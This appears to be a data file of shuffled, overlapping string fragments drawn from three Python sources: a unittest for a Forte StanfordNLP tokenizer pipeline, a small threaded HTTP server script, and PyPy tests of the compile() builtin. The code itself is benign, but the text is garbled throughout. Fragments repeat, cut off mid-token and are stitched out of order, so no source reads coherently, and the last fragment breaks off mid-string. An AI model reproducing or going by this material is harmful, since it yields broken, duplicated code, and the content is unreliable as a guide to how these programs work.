import os import unittest from texar.torch import HParams", "= os.getcwd() config = HParams({ \"processors\": \"tokenize\", \"lang\": \"en\", #", "to download models \" \"everytime\") def test_stanford_processor(self): sentences = [\"This", "\" \"everytime\") def test_stanford_processor(self): sentences = [\"This tool is called", "\"The goal of this project to help you build NLP", "# Language code for the language to build the Pipeline", "from texar.torch import HParams from forte.pipeline import Pipeline from forte.data.readers", "to help you build NLP \" \"pipelines.\", \"NLP has never", "def test_stanford_processor(self): sentences = [\"This tool is called Forte.\", \"The", "TODO @unittest.skip(\"We need to test this without needing to download", "this without needing to download models \" \"everytime\") def test_stanford_processor(self):", "without needing to download models \" \"everytime\") def test_stanford_processor(self): sentences", "the Pipeline \"use_gpu\": False }, StandfordNLPProcessor.default_hparams()) self.stanford_nlp.add_processor(StandfordNLPProcessor(models_path), config=config) self.stanford_nlp.initialize() #", "\"tokenize\", \"lang\": \"en\", # Language code for the language to", "= [\"This tool is called Forte.\", \"The goal of this", "[\"This tool is called Forte.\", \"The goal of this project", "goal of this project to help you build NLP \"", "download models \" \"everytime\") def test_stanford_processor(self): sentences = [\"This tool", "to build the Pipeline \"use_gpu\": False }, StandfordNLPProcessor.default_hparams()) self.stanford_nlp.add_processor(StandfordNLPProcessor(models_path), config=config)", "\"processors\": \"tokenize\", \"lang\": \"en\", # Language code for the language", "texar.torch import HParams from forte.pipeline import Pipeline from forte.data.readers import", "self.stanford_nlp.add_processor(StandfordNLPProcessor(models_path), config=config) self.stanford_nlp.initialize() # TODO @unittest.skip(\"We need to test this", "sentences = [\"This tool is called Forte.\", \"The goal of", "import unittest from texar.torch import HParams from forte.pipeline import Pipeline", "import Pipeline from forte.data.readers import StringReader from forte.processors.stanfordnlp_processor import StandfordNLPProcessor", "import StringReader from forte.processors.stanfordnlp_processor import StandfordNLPProcessor from ft.onto.base_ontology import Token,", "Token, Sentence class TestStanfordNLPProcessor(unittest.TestCase): def setUp(self): self.stanford_nlp = Pipeline() self.stanford_nlp.set_reader(StringReader())", "def setUp(self): self.stanford_nlp = Pipeline() self.stanford_nlp.set_reader(StringReader()) models_path = os.getcwd() config", "False }, StandfordNLPProcessor.default_hparams()) self.stanford_nlp.add_processor(StandfordNLPProcessor(models_path), config=config) self.stanford_nlp.initialize() # TODO @unittest.skip(\"We need", "self.stanford_nlp = Pipeline() self.stanford_nlp.set_reader(StringReader()) models_path = os.getcwd() config = HParams({", "for the language to build the Pipeline \"use_gpu\": False },", "StandfordNLPProcessor from ft.onto.base_ontology import Token, Sentence class TestStanfordNLPProcessor(unittest.TestCase): def setUp(self):", "test this without needing to download models \" \"everytime\") def", "build NLP \" \"pipelines.\", \"NLP has never been made this", "you build NLP \" \"pipelines.\", \"NLP has never been made", "test_stanford_processor(self): sentences = [\"This tool is called Forte.\", \"The goal", "}, StandfordNLPProcessor.default_hparams()) self.stanford_nlp.add_processor(StandfordNLPProcessor(models_path), config=config) self.stanford_nlp.initialize() # TODO @unittest.skip(\"We need to", "import os import unittest from texar.torch import HParams from forte.pipeline", "tool is called Forte.\", \"The goal of this project to", "from ft.onto.base_ontology import Token, Sentence class TestStanfordNLPProcessor(unittest.TestCase): def setUp(self): self.stanford_nlp", "the language to build the Pipeline \"use_gpu\": False }, StandfordNLPProcessor.default_hparams())", "import HParams from forte.pipeline import Pipeline from forte.data.readers import StringReader", "setUp(self): self.stanford_nlp = Pipeline() self.stanford_nlp.set_reader(StringReader()) models_path = os.getcwd() config =", "unittest from texar.torch import HParams from forte.pipeline import Pipeline from", "@unittest.skip(\"We need to test this without needing to download models", "models \" \"everytime\") def test_stanford_processor(self): sentences = [\"This tool is", "Forte.\", \"The goal of this project to help you build", "StandfordNLPProcessor.default_hparams()) self.stanford_nlp.add_processor(StandfordNLPProcessor(models_path), config=config) self.stanford_nlp.initialize() # TODO @unittest.skip(\"We need to test", "never been made this easy before.\"] document = ' '.join(sentences)", "Pipeline \"use_gpu\": False }, StandfordNLPProcessor.default_hparams()) self.stanford_nlp.add_processor(StandfordNLPProcessor(models_path), config=config) self.stanford_nlp.initialize() # TODO", "tests Stanford NLP processors.\"\"\" import os import unittest from texar.torch", "\" \"pipelines.\", \"NLP has never been made this easy before.\"]", "is called Forte.\", \"The goal of this project to help", "HParams({ \"processors\": \"tokenize\", \"lang\": \"en\", # Language code for the", "StringReader from forte.processors.stanfordnlp_processor import StandfordNLPProcessor from ft.onto.base_ontology import Token, Sentence", "self.stanford_nlp.initialize() # TODO @unittest.skip(\"We need to test this without needing", "Stanford NLP processors.\"\"\" import os import unittest from texar.torch import", "# TODO @unittest.skip(\"We need to test this without needing to", "forte.pipeline import Pipeline from forte.data.readers import StringReader from forte.processors.stanfordnlp_processor import", "Language code for the language to build the Pipeline \"use_gpu\":", "import Token, Sentence class TestStanfordNLPProcessor(unittest.TestCase): def setUp(self): self.stanford_nlp = Pipeline()", "build the Pipeline \"use_gpu\": False }, StandfordNLPProcessor.default_hparams()) self.stanford_nlp.add_processor(StandfordNLPProcessor(models_path), config=config) self.stanford_nlp.initialize()", "self.stanford_nlp.set_reader(StringReader()) models_path = os.getcwd() config = HParams({ \"processors\": \"tokenize\", \"lang\":", "language to build the Pipeline \"use_gpu\": False }, StandfordNLPProcessor.default_hparams()) self.stanford_nlp.add_processor(StandfordNLPProcessor(models_path),", "\"\"\"This module tests Stanford NLP processors.\"\"\" import os import unittest", "module tests Stanford NLP processors.\"\"\" import os import unittest from", "help you build NLP \" \"pipelines.\", \"NLP has never been", "\"en\", # Language code for the language to build the", "from forte.processors.stanfordnlp_processor import StandfordNLPProcessor from ft.onto.base_ontology import Token, Sentence class", "TestStanfordNLPProcessor(unittest.TestCase): def setUp(self): self.stanford_nlp = Pipeline() self.stanford_nlp.set_reader(StringReader()) models_path = os.getcwd()", "= HParams({ \"processors\": \"tokenize\", \"lang\": \"en\", # Language code for", "\"everytime\") def test_stanford_processor(self): sentences = [\"This tool is called Forte.\",", "made this easy before.\"] document = ' '.join(sentences) pack =", "\"lang\": \"en\", # Language code for the language to build", "\"use_gpu\": False }, StandfordNLPProcessor.default_hparams()) self.stanford_nlp.add_processor(StandfordNLPProcessor(models_path), config=config) self.stanford_nlp.initialize() # TODO @unittest.skip(\"We", "forte.data.readers import StringReader from forte.processors.stanfordnlp_processor import StandfordNLPProcessor from ft.onto.base_ontology import", "NLP \" \"pipelines.\", \"NLP has never been made this easy", "to test this without needing to download models \" \"everytime\")", "= Pipeline() self.stanford_nlp.set_reader(StringReader()) models_path = os.getcwd() config = HParams({ \"processors\":", "config = HParams({ \"processors\": \"tokenize\", \"lang\": \"en\", # Language code", "\"pipelines.\", \"NLP has never been made this easy before.\"] document", "HParams from forte.pipeline import Pipeline from forte.data.readers import StringReader from", "this project to help you build NLP \" \"pipelines.\", \"NLP" ]
[ "import SimpleHTTPRequestHandler PORT = 8000 def start_http_server(port=PORT): httpd = socketserver.TCPServer((\"\",", "SimpleHTTPRequestHandler) thread = Thread(target = httpd.serve_forever) thread.start() return thread if", "thread = Thread(target = httpd.serve_forever) thread.start() return thread if __name__", "port), SimpleHTTPRequestHandler) thread = Thread(target = httpd.serve_forever) thread.start() return thread", "threading import Thread from http.server import SimpleHTTPRequestHandler PORT = 8000", "HTTP webserver. \"\"\" import socketserver from threading import Thread from", "-*- coding: utf-8 -*- \"\"\" Serve current folder files in", "/usr/bin/env python3 # -*- coding: utf-8 -*- \"\"\" Serve current", "= httpd.serve_forever) thread.start() return thread if __name__ == '__main__': thread", "\"\"\" Serve current folder files in a HTTP webserver. \"\"\"", "http.server import SimpleHTTPRequestHandler PORT = 8000 def start_http_server(port=PORT): httpd =", "utf-8 -*- \"\"\" Serve current folder files in a HTTP", "from http.server import SimpleHTTPRequestHandler PORT = 8000 def start_http_server(port=PORT): httpd", "coding: utf-8 -*- \"\"\" Serve current folder files in a", "-*- \"\"\" Serve current folder files in a HTTP webserver.", "python3 # -*- coding: utf-8 -*- \"\"\" Serve current folder", "#! /usr/bin/env python3 # -*- coding: utf-8 -*- \"\"\" Serve", "httpd = socketserver.TCPServer((\"\", port), SimpleHTTPRequestHandler) thread = Thread(target = httpd.serve_forever)", "in a HTTP webserver. \"\"\" import socketserver from threading import", "return thread if __name__ == '__main__': thread = start_http_server() thread.join()", "8000 def start_http_server(port=PORT): httpd = socketserver.TCPServer((\"\", port), SimpleHTTPRequestHandler) thread =", "def start_http_server(port=PORT): httpd = socketserver.TCPServer((\"\", port), SimpleHTTPRequestHandler) thread = Thread(target", "import Thread from http.server import SimpleHTTPRequestHandler PORT = 8000 def", "Serve current folder files in a HTTP webserver. \"\"\" import", "thread.start() return thread if __name__ == '__main__': thread = start_http_server()", "httpd.serve_forever) thread.start() return thread if __name__ == '__main__': thread =", "# -*- coding: utf-8 -*- \"\"\" Serve current folder files", "SimpleHTTPRequestHandler PORT = 8000 def start_http_server(port=PORT): httpd = socketserver.TCPServer((\"\", port),", "webserver. \"\"\" import socketserver from threading import Thread from http.server", "current folder files in a HTTP webserver. \"\"\" import socketserver", "socketserver.TCPServer((\"\", port), SimpleHTTPRequestHandler) thread = Thread(target = httpd.serve_forever) thread.start() return", "= Thread(target = httpd.serve_forever) thread.start() return thread if __name__ ==", "PORT = 8000 def start_http_server(port=PORT): httpd = socketserver.TCPServer((\"\", port), SimpleHTTPRequestHandler)", "socketserver from threading import Thread from http.server import SimpleHTTPRequestHandler PORT", "\"\"\" import socketserver from threading import Thread from http.server import", "from threading import Thread from http.server import SimpleHTTPRequestHandler PORT =", "= 8000 def start_http_server(port=PORT): httpd = socketserver.TCPServer((\"\", port), SimpleHTTPRequestHandler) thread", "a HTTP webserver. \"\"\" import socketserver from threading import Thread", "start_http_server(port=PORT): httpd = socketserver.TCPServer((\"\", port), SimpleHTTPRequestHandler) thread = Thread(target =", "import socketserver from threading import Thread from http.server import SimpleHTTPRequestHandler", "= socketserver.TCPServer((\"\", port), SimpleHTTPRequestHandler) thread = Thread(target = httpd.serve_forever) thread.start()", "Thread from http.server import SimpleHTTPRequestHandler PORT = 8000 def start_http_server(port=PORT):", "files in a HTTP webserver. \"\"\" import socketserver from threading", "Thread(target = httpd.serve_forever) thread.start() return thread if __name__ == '__main__':", "folder files in a HTTP webserver. \"\"\" import socketserver from" ]
[ "'<string>', 'eval', _ast.PyCF_ONLY_AST) tree = compile(co2, '<ast>', 'eval') assert compile(co2,", "{} exec(code, ns) rv = ns['f']() assert rv == (debugval,", "compile(m, 'baz', 'eval') assert eval(co) == 3 assert eval(m) ==", "coding: utf-8 -*-\\n', 'dummy', 'exec') exc = raises(SyntaxError, compile, b'#", "for i, code in enumerate(codeobjs): print(optval, debugval, docstring, i) ns", "of -O flag and optimize parameter of compile.\"\"\" def setup_method(self,", "= str(marshal.dumps(compiled)) assert 'module_doc' not in marshalled assert 'func_doc' not", "compile, co1, '<ast>', 'eval') co2 = compile('1+1', '<string>', 'eval', _ast.PyCF_ONLY_AST)", "# TODO: Check the value of __debug__ inside of the", "-*- coding: iso-8859-15 -*-\\n', 'dummy', 'exec') assert 'iso-8859-15' in str(exc.value)", "f(): \"\"\"doc\"\"\" try: assert False except AssertionError: return (True, f.__doc__)", "space.appexec([], \"\"\"(): exec(compile('assert False', '', 'exec', optimize=-1)) \"\"\") # TODO:", "import re compile('# -*- coding: iso-8859-15 -*-\\n', 'dummy', 'exec') compile(b'\\xef\\xbb\\xbf\\n',", "compile, '1+2', 12, 34) def test_error_message(self): import re compile('# -*-", "# check that our -O imitation hack works try: exec(compile('assert", "in str(exc.value) exc = raises(SyntaxError, compile, b'\\xef\\xbb\\xbf# -*- coding: fake", "-O imitation hack works try: exec(compile('assert False', '', 'exec', optimize=0))", "method): self.space.sys.debug = self._sys_debug def test_O_optmize_0(self): \"\"\"Test that assert is", "'eval') assert str(exc.value) == \"source code string cannot contain null", "space.sys.debug = False def teardown_method(self, method): self.space.sys.debug = self._sys_debug def", "import with_statement\", \"<test>\", \"exec\") raises(SyntaxError, compile, '-', '?', 'eval') raises(SyntaxError,", "def test_O_optmize_0(self): \"\"\"Test that assert is not ignored if -O", "compile(memoryview(b'1+2'), '?', 'eval') assert eval(co) == 3 exc = raises(ValueError,", "class TestOptimizeO: \"\"\"Test interaction of -O flag and optimize parameter", "in [code, tree]: compiled = compile(to_compile, \"<test>\", \"exec\", optimize=1) ns", "test_docstring_remove(self): \"\"\"Test removal of docstrings with optimize=2.\"\"\" import ast import", "str(exc.value) def test_unicode(self): try: compile(u'-', '?', 'eval') except SyntaxError as", "import _ast # raise exception when node type doesn't match", "inside of the compiled block! # According to the documentation,", "eval(co) == 3 exc = raises(ValueError, compile, chr(0), '?', 'eval')", "False', '', 'exec', optimize=-1)) \"\"\") # TODO: Check the value", "as PyPy (__debug__ follows # -O, -OO flags of the", "'exec') compile(b'\\xef\\xbb\\xbf\\n', 'dummy', 'exec') compile(b'\\xef\\xbb\\xbf# -*- coding: utf-8 -*-\\n', 'dummy',", "exception when node type doesn't match with compile mode co1", "co = compile(memoryview(b'1+2'), '?', 'eval') assert eval(co) == 3 exc", "assert ns['r'] == 3 def test_recompile_ast(self): import _ast # raise", "== \"source code string cannot contain null bytes\" compile(\"from __future__", "raises(ValueError, compile, src, 'mymod', 'exec') raises(ValueError, compile, src, 'mymod', 'exec',", "optimize=0.\"\"\" space = self.space w_res = space.appexec([], \"\"\"(): assert False", "[(-1, __debug__, f.__doc__), (0, True, 'doc'), (1, False, 'doc'), (2,", "== 2 def test_null_bytes(self): raises(ValueError, compile, '\\x00', 'mymod', 'exec', 0)", "of docstrings with optimize=2.\"\"\" import ast import marshal code =", "works def test_compile_regression(self): \"\"\"Clone of the part of the original", "'<ast>', 'eval') assert compile(co2, '<ast>', 'eval', _ast.PyCF_ONLY_AST) is co2 def", "str(exc.value) == \"source code string cannot contain null bytes\" compile(\"from", "flag and optimize parameter of compile.\"\"\" def setup_method(self, method): space", "= compile(src, 'mymod', 'exec') firstlineno = co.co_firstlineno assert firstlineno ==", "'1+2', 12, 34) def test_error_message(self): import re compile('# -*- coding:", "SyntaxError as e: assert e.lineno == 1 def test_unicode_encoding(self): code", "assert 'BOM' in str(exc.value) def test_unicode(self): try: compile(u'-', '?', 'eval')", "ns['r'] == 3 def test_recompile_ast(self): import _ast # raise exception", "'mymod', 'exec', PyCF_ACCEPT_NULL_BYTES) # works def test_compile_regression(self): \"\"\"Clone of the", "debugval, docstring in values: # test both direct compilation and", "\"<test>\", \"exec\", optimize=2) ns = {} exec(compiled, ns) assert '__doc__'", "optimize=-1)) \"\"\") # TODO: Check the value of __debug__ inside", "exec(code, ns) rv = ns['f']() assert rv == (debugval, docstring)", "\"\"\") assert space.unwrap(w_res) def test_O_optimize__1(self): \"\"\"Test that assert is ignored", "b'\\xef\\xbb\\xbf# -*- coding: fake -*-\\n', 'dummy', 'exec') assert 'fake' in", "= {} exec(compiled, ns) assert '__doc__' not in ns assert", "False # check that our -O imitation hack works try:", "-*-\\n', 'dummy', 'exec') assert 'iso-8859-15' in str(exc.value) assert 'BOM' in", "test_error_message(self): import re compile('# -*- coding: iso-8859-15 -*-\\n', 'dummy', 'exec')", "# inaccessible. marshalled = str(marshal.dumps(compiled)) assert 'module_doc' not in marshalled", "'dummy', 'exec') assert 'fake' in str(exc.value) exc = raises(SyntaxError, compile,", "b\"# -*- coding: utf-8 -*-\\npass\\n\" compile(code, \"tmp\", \"exec\") c =", "-O flag and optimize parameter of compile.\"\"\" def setup_method(self, method):", "it should follow the optimize flag. # However, cpython3.5.0a0 behaves", "contain null bytes\" compile(\"from __future__ import with_statement\", \"<test>\", \"exec\") raises(SyntaxError,", "assert rv == (debugval, docstring) def test_assert_remove(self): \"\"\"Test removal of", "'mymod', 'exec', 0) def test_null_bytes_flag(self): try: from _ast import PyCF_ACCEPT_NULL_BYTES", "for to_compile in [code, tree]: compiled = compile(to_compile, \"<test>\", \"exec\",", "'mymod', 'exec') raises(ValueError, compile, src, 'mymod', 'exec', 0) def test_null_bytes_flag(self):", "= space.sys.debug # imitate -O space.sys.debug = False def teardown_method(self,", "== 'café' assert eval(b\"# coding: latin1\\n'caf\\xe9'\\n\") == 'café' def test_memoryview(self):", "eval(co) == 3 co = compile(memoryview(b'1+2'), '?', 'eval') assert eval(co)", "# Check that the docstrings are gone from the bytecode", "self.space self._sys_debug = space.sys.debug # imitate -O space.sys.debug = False", "ns = {} exec(code, ns) rv = ns['f']() assert rv", "compile(code, \"tmp\", \"exec\") def test_bytes(self): code = b\"# -*- coding:", "compile, '\\x00', 'mymod', 'exec', 0) src = \"#abc\\x00def\\n\" raises(ValueError, compile,", "should follow the optimize flag. # However, cpython3.5.0a0 behaves the", "12, 34) def test_error_message(self): import re compile('# -*- coding: iso-8859-15", "assert 'func_doc' not in marshalled assert 'class_doc' not in marshalled", "docstrings with optimize=2.\"\"\" import ast import marshal code = \"\"\"", "= compile(m, 'baz', 'eval') assert eval(co) == 3 assert eval(m)", "1') co = compile(m, 'baz', 'eval') assert eval(co) == 3", "exec(compile('assert False', '', 'exec', optimize=-1)) \"\"\") # TODO: Check the", "eval(m) == 3 ns = {} exec(memoryview(b'r = 2 +", "PyCF_ACCEPT_NULL_BYTES except ImportError: skip('PyPy only (requires _ast.PyCF_ACCEPT_NULL_BYTES)') raises(SyntaxError, compile, '\\x00',", "raises(ValueError, compile, '1+2', '?', 'maybenot') raises(ValueError, compile, \"\\n\", \"<string>\", \"exec\",", "'class_doc' \"\"\" tree = ast.parse(code) for to_compile in [code, tree]:", "not in ns assert ns['f'].__doc__ is None assert ns['C'].__doc__ is", "self._sys_debug = space.sys.debug # imitate -O space.sys.debug = False def", "'baz', 'eval') assert eval(co) == 3 assert eval(m) == 3", "else: return (False, f.__doc__) ''' def f(): \"\"\"doc\"\"\" values =", "'''def f(): \"\"\"doc\"\"\" try: assert False except AssertionError: return (True,", "test_bytes(self): code = b\"# -*- coding: utf-8 -*-\\npass\\n\" compile(code, \"tmp\",", "+ 1'), ns) assert ns['r'] == 3 def test_recompile_ast(self): import", "AssertionError: return (True, f.__doc__) else: return (False, f.__doc__) ''' def", "test_simple(self): import sys co = compile('1+2', '?', 'eval') assert eval(co)", "# coding: utf-8 class AppTestCompile: def test_simple(self): import sys co", "co.co_firstlineno assert firstlineno == 2 def test_null_bytes(self): raises(ValueError, compile, '\\x00',", "def test_simple(self): import sys co = compile('1+2', '?', 'eval') assert", "assert eval(co) == 3 exc = raises(ValueError, compile, chr(0), '?',", "raises(SyntaxError, compile, '-', '?', 'eval') raises(SyntaxError, compile, '\"\\\\xt\"', '?', 'eval')", "coding: utf-8 -*-\\npass\\n\" compile(code, \"tmp\", \"exec\") def test_bytes(self): code =", "assert False # check that our -O imitation hack works", "self.space.sys.debug = self._sys_debug def test_O_optmize_0(self): \"\"\"Test that assert is not", "the optimize flag. # However, cpython3.5.0a0 behaves the same way", "Check the value of __debug__ inside of the compiled block!", "ast code = \"\"\"def f(): assert False \"\"\" tree =", "ns) ns['f']() def test_docstring_remove(self): \"\"\"Test removal of docstrings with optimize=2.\"\"\"", "ns = {} exec(compiled, ns) assert '__doc__' not in ns", "f(): 'func_doc' class C: 'class_doc' \"\"\" tree = ast.parse(code) for", "chr(0), '?', 'eval') assert str(exc.value) == \"source code string cannot", "of the part of the original test that was failing.\"\"\"", "'eval') raises(SyntaxError, compile, '\"\\\\xt\"', '?', 'eval') raises(ValueError, compile, '1+2', '?',", "rv == (debugval, docstring) def test_assert_remove(self): \"\"\"Test removal of the", "method): space = self.space self._sys_debug = space.sys.debug # imitate -O", "def test_bytes(self): code = b\"# -*- coding: utf-8 -*-\\npass\\n\" compile(code,", "= \"# -*- coding: utf-8 -*-\\npass\\n\" compile(code, \"tmp\", \"exec\") def", "not in marshalled assert 'class_doc' not in marshalled class TestOptimizeO:", "def teardown_method(self, method): self.space.sys.debug = self._sys_debug def test_O_optmize_0(self): \"\"\"Test that", "behaves the same way as PyPy (__debug__ follows # -O,", "part of the original test that was failing.\"\"\" import ast", "\"<test>\", \"exec\", optimize=optval)) for i, code in enumerate(codeobjs): print(optval, debugval,", "'eval') raises(ValueError, compile, '1+2', '?', 'maybenot') raises(ValueError, compile, \"\\n\", \"<string>\",", "3 exc = raises(ValueError, compile, chr(0), '?', 'eval') assert str(exc.value)", "the documentation, it should follow the optimize flag. # However,", "False except AssertionError: return (True, f.__doc__) else: return (False, f.__doc__)", "exec(compiled, ns) ns['f']() def test_docstring_remove(self): \"\"\"Test removal of docstrings with", "assert str(exc.value) == \"source code string cannot contain null bytes\"", "is co2 def test_leading_newlines(self): src = \"\"\" def fn(): pass", "gone from the bytecode and not just # inaccessible. marshalled", "flag. # However, cpython3.5.0a0 behaves the same way as PyPy", "'eval', _ast.PyCF_ONLY_AST) tree = compile(co2, '<ast>', 'eval') assert compile(co2, '<ast>',", "class AppTestCompile: def test_simple(self): import sys co = compile('1+2', '?',", "'exec', _ast.PyCF_ONLY_AST) raises(TypeError, compile, co1, '<ast>', 'eval') co2 = compile('1+1',", "_ast.PyCF_ACCEPT_NULL_BYTES)') raises(SyntaxError, compile, '\\x00', 'mymod', 'exec', PyCF_ACCEPT_NULL_BYTES) src = \"#abc\\x00def\\n\"", "self.space space.appexec([], \"\"\"(): exec(compile('assert False', '', 'exec', optimize=-1)) \"\"\") #", "\"\"\"(): assert False # check that our -O imitation hack", "1 def test_unicode_encoding(self): code = \"# -*- coding: utf-8 -*-\\npass\\n\"", "= \"\"\"def f(): assert False \"\"\" tree = ast.parse(code) for", "optimize=0)) except AssertionError: return True else: return False \"\"\") assert", "None # Check that the docstrings are gone from the", "def f(): 'func_doc' class C: 'class_doc' \"\"\" tree = ast.parse(code)", "test_null_bytes(self): raises(ValueError, compile, '\\x00', 'mymod', 'exec', 0) src = \"#abc\\x00def\\n\"", "parameter of compile.\"\"\" def setup_method(self, method): space = self.space self._sys_debug", "def test_error_message(self): import re compile('# -*- coding: iso-8859-15 -*-\\n', 'dummy',", "in str(exc.value) exc = raises(SyntaxError, compile, b'\\xef\\xbb\\xbf# -*- coding: iso-8859-15", "(False, f.__doc__) ''' def f(): \"\"\"doc\"\"\" values = [(-1, __debug__,", "exc = raises(SyntaxError, compile, b'\\xef\\xbb\\xbf# -*- coding: iso-8859-15 -*-\\n', 'dummy',", "raises(SyntaxError, compile, b'\\xef\\xbb\\xbf# -*- coding: fake -*-\\n', 'dummy', 'exec') assert", "raises(ValueError, compile, \"\\n\", \"<string>\", \"exec\", 0xff) raises(TypeError, compile, '1+2', 12,", "ns = {} exec(c, ns) assert ns['foo'] == 'café' assert", "= self.space space.appexec([], \"\"\"(): exec(compile('assert False', '', 'exec', optimize=-1)) \"\"\")", "'dummy', 'exec') assert 'iso-8859-15' in str(exc.value) assert 'BOM' in str(exc.value)", "'exec', 0) src = \"#abc\\x00def\\n\" raises(ValueError, compile, src, 'mymod', 'exec')", "-*- coding: utf-8 -*-\\n', 'dummy', 'exec') exc = raises(SyntaxError, compile,", "original test that was failing.\"\"\" import ast codestr = '''def", "= space.appexec([], \"\"\"(): assert False # check that our -O", "\"tmp\", \"exec\") c = compile(b\"# coding: latin1\\nfoo = 'caf\\xe9'\\n\", \"<string>\",", "= False def teardown_method(self, method): self.space.sys.debug = self._sys_debug def test_O_optmize_0(self):", "'dummy', 'exec') exc = raises(SyntaxError, compile, b'# -*- coding: fake", "-*-\\npass\\n\" compile(code, \"tmp\", \"exec\") def test_bytes(self): code = b\"# -*-", "compiled = compile(to_compile, \"<test>\", \"exec\", optimize=1) ns = {} exec(compiled,", "ns['f'].__doc__ is None assert ns['C'].__doc__ is None # Check that", "utf-8 -*-\\npass\\n\" compile(code, \"tmp\", \"exec\") c = compile(b\"# coding: latin1\\nfoo", "= memoryview(b'2 + 1') co = compile(m, 'baz', 'eval') assert", "exec(memoryview(b'r = 2 + 1'), ns) assert ns['r'] == 3", "docstrings are gone from the bytecode and not just #", "'exec') raises(ValueError, compile, src, 'mymod', 'exec', 0) def test_null_bytes_flag(self): try:", "docstring in values: # test both direct compilation and compilation", "e: assert e.lineno == 1 def test_unicode_encoding(self): code = \"#", "fn(): pass \"\"\" co = compile(src, 'mymod', 'exec') firstlineno =", "print(optval, debugval, docstring, i) ns = {} exec(code, ns) rv", "f.__doc__) ''' def f(): \"\"\"doc\"\"\" values = [(-1, __debug__, f.__doc__),", "not in marshalled assert 'func_doc' not in marshalled assert 'class_doc'", "test_compile_regression(self): \"\"\"Clone of the part of the original test that", "str(exc.value) assert 'BOM' in str(exc.value) def test_unicode(self): try: compile(u'-', '?',", "of compile.\"\"\" def setup_method(self, method): space = self.space self._sys_debug =", "test_O_optimize__1(self): \"\"\"Test that assert is ignored with -O and optimize=-1.\"\"\"", "compile, '\"\\\\xt\"', '?', 'eval') raises(ValueError, compile, '1+2', '?', 'maybenot') raises(ValueError,", "== (debugval, docstring) def test_assert_remove(self): \"\"\"Test removal of the asserts", "'1+2', '?', 'maybenot') raises(ValueError, compile, \"\\n\", \"<string>\", \"exec\", 0xff) raises(TypeError,", "ast.parse(codestr) codeobjs.append(compile(tree, \"<test>\", \"exec\", optimize=optval)) for i, code in enumerate(codeobjs):", "Check that the docstrings are gone from the bytecode and", "compile('1+2', '?', 'eval') assert eval(co) == 3 co = compile(memoryview(b'1+2'),", "0) def test_null_bytes_flag(self): try: from _ast import PyCF_ACCEPT_NULL_BYTES except ImportError:", "== 3 exc = raises(ValueError, compile, chr(0), '?', 'eval') assert", "exec(c, ns) assert ns['foo'] == 'café' assert eval(b\"# coding: latin1\\n'caf\\xe9'\\n\")", "def fn(): pass \"\"\" co = compile(src, 'mymod', 'exec') firstlineno", "pass \"\"\" co = compile(src, 'mymod', 'exec') firstlineno = co.co_firstlineno", "= co.co_firstlineno assert firstlineno == 2 def test_null_bytes(self): raises(ValueError, compile,", "is None # Check that the docstrings are gone from", "assert 'module_doc' not in marshalled assert 'func_doc' not in marshalled", "same way as PyPy (__debug__ follows # -O, -OO flags", "'café' def test_memoryview(self): m = memoryview(b'2 + 1') co =", "space = self.space space.appexec([], \"\"\"(): exec(compile('assert False', '', 'exec', optimize=-1))", "3 assert eval(m) == 3 ns = {} exec(memoryview(b'r =", "hack works try: exec(compile('assert False', '', 'exec', optimize=0)) except AssertionError:", "the docstrings are gone from the bytecode and not just", "'dummy', 'exec') compile(b'\\xef\\xbb\\xbf# -*- coding: utf-8 -*-\\n', 'dummy', 'exec') exc", "compile, b'\\xef\\xbb\\xbf# -*- coding: fake -*-\\n', 'dummy', 'exec') assert 'fake'", "'exec') assert 'fake' in str(exc.value) assert 'BOM' in str(exc.value) def", "'', 'exec', optimize=0)) except AssertionError: return True else: return False", "import ast codestr = '''def f(): \"\"\"doc\"\"\" try: assert False", "def test_O_optimize__1(self): \"\"\"Test that assert is ignored with -O and", "that our -O imitation hack works try: exec(compile('assert False', '',", "'?', 'maybenot') raises(ValueError, compile, \"\\n\", \"<string>\", \"exec\", 0xff) raises(TypeError, compile,", "compile(codestr, \"<test>\", \"exec\", optimize=optval)) tree = ast.parse(codestr) codeobjs.append(compile(tree, \"<test>\", \"exec\",", "'class_doc' not in marshalled class TestOptimizeO: \"\"\"Test interaction of -O", "'exec') exc = raises(SyntaxError, compile, b'# -*- coding: fake -*-\\n',", "coding: iso-8859-15 -*-\\n', 'dummy', 'exec') assert 'iso-8859-15' in str(exc.value) assert", "'café' assert eval(b\"# coding: latin1\\n'caf\\xe9'\\n\") == 'café' def test_memoryview(self): m", "e.lineno == 1 def test_unicode_encoding(self): code = \"# -*- coding:", "'eval') assert eval(co) == 3 assert eval(m) == 3 ns", "compile(b'\\xef\\xbb\\xbf\\n', 'dummy', 'exec') compile(b'\\xef\\xbb\\xbf# -*- coding: utf-8 -*-\\n', 'dummy', 'exec')", "'', 'exec', optimize=-1)) \"\"\") # TODO: Check the value of", "is not ignored if -O flag is set but optimize=0.\"\"\"", "sys co = compile('1+2', '?', 'eval') assert eval(co) == 3", "values = [(-1, __debug__, f.__doc__), (0, True, 'doc'), (1, False,", "is ignored with -O and optimize=-1.\"\"\" space = self.space space.appexec([],", "def test_recompile_ast(self): import _ast # raise exception when node type", "with optimize=1.\"\"\" import ast code = \"\"\"def f(): assert False", "\"source code string cannot contain null bytes\" compile(\"from __future__ import", "AssertionError: return True else: return False \"\"\") assert space.unwrap(w_res) def", "raises(TypeError, compile, co1, '<ast>', 'eval') co2 = compile('1+1', '<string>', 'eval',", "docstring) def test_assert_remove(self): \"\"\"Test removal of the asserts with optimize=1.\"\"\"", "'func_doc' class C: 'class_doc' \"\"\" tree = ast.parse(code) for to_compile", "== 3 co = compile(memoryview(b'1+2'), '?', 'eval') assert eval(co) ==", "assert 'iso-8859-15' in str(exc.value) assert 'BOM' in str(exc.value) exc =", "\"\"\"doc\"\"\" values = [(-1, __debug__, f.__doc__), (0, True, 'doc'), (1,", "try: compile(u'-', '?', 'eval') except SyntaxError as e: assert e.lineno", "# raise exception when node type doesn't match with compile", "failing.\"\"\" import ast codestr = '''def f(): \"\"\"doc\"\"\" try: assert", "True, 'doc'), (1, False, 'doc'), (2, False, None)] for optval,", "optimize=2) ns = {} exec(compiled, ns) assert '__doc__' not in", "TestOptimizeO: \"\"\"Test interaction of -O flag and optimize parameter of", "import sys co = compile('1+2', '?', 'eval') assert eval(co) ==", "removal of docstrings with optimize=2.\"\"\" import ast import marshal code", "{} exec(memoryview(b'r = 2 + 1'), ns) assert ns['r'] ==", "compile(co2, '<ast>', 'eval', _ast.PyCF_ONLY_AST) is co2 def test_leading_newlines(self): src =", "imitate -O space.sys.debug = False def teardown_method(self, method): self.space.sys.debug =", "value of __debug__ inside of the compiled block! # According", "'caf\\xe9'\\n\", \"<string>\", \"exec\") ns = {} exec(c, ns) assert ns['foo']", "\"# 